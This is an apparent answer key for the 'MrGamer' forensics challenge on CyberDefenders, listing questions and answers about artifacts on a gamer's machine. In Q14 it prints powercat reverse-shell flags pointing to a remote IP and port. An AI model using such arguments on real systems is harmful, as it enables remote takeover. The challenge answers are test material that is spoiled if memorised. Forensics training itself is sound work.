MrGamer

Link Lab : https://cyberdefenders.org/blueteam-ctf-challenges/mrgamer/

Q1 I use print statements for my logging -> What is the name of the utility/library the user was looking at exploits for?

check .bash_history

Answer : log4j

Q2 Mischievous Lemur -> What is the version ID number of the operating system on the machine?

Answer : 21.10

Q3 $whoami -> What is the hostname of the computer?

Answer : rshell-lenovo

Q4 A little blue birdie told me -> What is one anime that the user likes?

Answer : Attack on Titan

Q5 Into the Matrix, we go -> What is the UUID for the attacker's Minecraft account?

Answer : 8b0dec19-b463-477e-9548-eef20c861492

Q6 Today's Youtube video is sponsored by... -> What VPN client did the user install and use on the machine?

Answer : zerotier

Q7 Be our guest -> What was the user's first password for the guest wifi?

Answer : 093483

Q8 If a picture is worth a thousand words, how many is a video worth? -> The user watched a video that premiered on Dec 11th, 2021. How many views did it have when they watched it on February 9th?

Answer : 265342

Q9 I'm hungry for videos -> What is the new channel name for the YouTuber whose cookbook is shown on the device?

Answer : Babish Culinary Universe

Q10 Hunt the Wumpus -> What is the module with the highest installed version for the chat application with the mascot Wumpus?

Answer : discord_voice

Q11 It's raining ocelots and wolves -> According to Windows, what was the temperature in Fahrenheit on February 11th, 2022, at 6:30 PM?

Answer : 45F

Q12 Never gonna give... up on this question -> What is the upload date of the second youtube video on the channel from which the user downloaded a youtube video?

Answer : 10/25/2009

Q13 Buzzy Bees -> What is the SHA-1 hash of Minecraft's "latest" release according to the system?

Answer : 3c6e119c0ff307accf31b596f9cd47ffa2ec6305

Q14 The RCE is base(64)d on what? -> What were the three flags and their values that were passed to powercat? The answer must be provided in the same format as the entered command. (For example, if the command was "powercat -D Y -l a -n," the answer would be "-D Y -l a -n")

Answer : -c 192.168.191.253 -p 4444 -e cmd

Q15 Hello (New) World -> How many dimensions (including the overworld) did the player travel to in the "oldest of the worlds"?

Answer : one

Q16 Matrix_1999 is the key! -> What is the mojangClientToken stored in the Keystore?

export this to Linux distro

Move 2 file to Linux VM -> put it into ~/.local/share/keyring -> then reboot the machine to get infomation

With password Login given can open the file now

Answer : 2f76c8b04c004ddd888a05a6cad6be52